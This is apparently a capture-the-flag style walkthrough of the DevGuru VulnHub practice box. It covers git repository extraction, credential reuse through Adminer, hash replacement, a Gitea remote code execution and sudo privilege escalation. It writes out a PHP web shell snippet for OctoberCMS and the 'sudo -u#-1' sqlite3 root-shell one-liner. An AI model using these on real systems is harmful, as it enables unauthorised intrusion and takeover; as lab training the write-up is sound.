This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:
- Git repositoru extract
- Credential extract playing with cryptography
- Sudo vulnerablity exploited for privilege escalation
I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:
Scanned at 2022-04-20 00:17:48 EDT for 9s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Corp - DevGuru
|_http-generator: DevGuru
| http-git:
| 10.0.0.28:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:77:B6:D3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
TRACEROUTE
HOP RTT ADDRESS
1 0.47 ms 10.0.0.28
From my initial nmap scan result, I can see two ports open. Port 80 and Port 22. A full port scan came up with one more port open, port 8585. I am going to start my enumeration from port 80.
Gobuster scan came with some interesting results. There is a web directory /backend , which has a login page.
My initial scan showed there is a .git repository hosted on the website. I used gitdumper.sh from Git-Tools to extract all the git repositories to my device. Also from the scan, I can see the devguru.local, so for the next step, I added it to the hosts file.
Once extracted looking for creds I found a database.php file inside the config directory, There is a username and password.
october: SQ66EBYx4GT3byXH
I tried using this username: password combination on the /backend login page, but it was unsuccessful. So I went back to the git folder. I saw adminer.php , looking at the contents I knew that it is a database system. Also, the webpage exists. It all makes sense now as the credentials were for a database.
Now, here I used the credentials obtained above and was successful to log in.
Here I found another credential.
frank : $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK
I tried to crack the password hash but was unsuccessful. I created a new password hash and changed it in the database. ( looking at the hash type it is bcrypt hash).
Now I used this credential to log in at /backend login page.
Now looking around I found a legit question asked on the OctoberCMS forum, where the user asked how to run a PHP command on a page.
I used the same step and was able to get the reverse shell.
#### In code section ###
function onStart()
{
$this->page["myVar"] = shell_exec($_GET['cmd']);
}
### In MarkUp section ###
{{ this.page.myVar }}
I loaded this PHP code on /portfolio page.
Now I can run commands from the browser.
Let’s get a reverse shell now. I am going to upload the PHP payload for the reverse shell. Executing that malicious payload, gave me a reverse shell.
Looking around I found the backup file in /var/backup. Going through the contents of the backup file app.ini.bak I was able to find credentials , similar to like october before.
Credentials Found gitea: UfFPTF8C8jjxVF2m
Now going back to /adminer.php page, I was able to log in using the above credentials.
Here now I created a new user with a name cyberdai and also created a new password hash ( changed the password hash algorithm from pbkdf2 to bcrypt).
First create a hash for the desired password.
Now creating the new user (by cloning the user frank) and changing the hash and removing salt.
Now I was able to log in to gitea which is hosted in port 8585.
A quick searchsploit search for gitea reveals the remote code execution vulnerability.
Using the script I was able to get the reverse shell, as user frank.
It turns out user frank can run /usr/bin/sqlite3 as sudo without a password.
So user frank cannot run /usr/bin/sqlite3 as root. ( !root )
With ALL specified user frank can run the binary /usr/bin/sqlite3 as any user.
And this version of sudo is vulnerable to security bypass, which can be exploited for privilege escalation.
Now going to our old friend gtfobins, I get a single line code to elevate the privilege.
sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'
Using the above code I got the root shell.
WOW, this box was a lot of fun and got to learn a lot of things.